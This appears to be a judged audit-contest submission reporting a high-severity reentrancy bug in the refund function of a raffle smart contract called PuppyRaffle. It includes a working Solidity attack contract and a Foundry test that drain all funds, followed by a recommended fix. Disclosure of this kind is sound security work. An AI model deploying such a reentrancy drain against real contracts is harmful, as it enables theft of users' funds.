Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Drain all funds via reentrancy attack

Summary

An attacker can deploy a contract that is capable of draining all funds from the raffle.

Vulnerability Details

The refund function violates the checks-effects-interactions pattern whereby ETH is transferred to the msg.sender before the player is removed from the raffle.

A PoC is demonstrated below.

// Attack contract
contract Attack {
PuppyRaffle raffle;
uint256 entryIndex; // Stores the index of the attacker in the raffle
constructor(address _raffle) {
raffle = PuppyRaffle(_raffle);
}
fallback() external payable {
if (address(raffle).balance >= raffle.entranceFee()) {
raffle.refund(entryIndex);
}
}
function attackRefund() external payable {
// enter raffle
address[] memory player = new address[](1);
player[0] = address(this);
raffle.enterRaffle{value: msg.value}(player);
// Get entry id
entryIndex = raffle.getActivePlayerIndex(address(this));
// call refund
raffle.refund(entryIndex);
}
}
// Test in the PuppyRaffleTest.t.sol file:
function testDrainContractReentrancy() public {
// Setup address array: players
address[] memory players = new address[](numPlayers);
for (uint256 i; i < players.length; ++i) {
players[i] = makeAddr(vm.toString(i));
}
// Enter raffle with victims... I mean, players...
puppyRaffle.enterRaffle{value: players.length * entranceFee}(players);
// Deploy attack contract with PuppyRaffle target address
Attack attack = new Attack(address(puppyRaffle));
// Call the attackRefund function
attack.attackRefund{value: entranceFee}();
// Attack contract balance assertion
assertEq(address(attack).balance, (players.length + 1) * entranceFee);
}

The attack works as follows:

  • Enter the raffle with the attack contract.

  • Store the attack contracts playerIndex in it's own storage as entryIndex.

  • Immediately call refund.

  • Fallback function will be triggered, where another refund is requested. This continues while the balance of the target PuppyRaffle contract is greater than, or equal to, the entranceFee.

Impact

All funds lost.

Tools Used

Foundry.

Recommendations

Switch the following lines in the refund function: payable(msg.sender).sendValue(entranceFee); and players[playerIndex] = address(0);.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!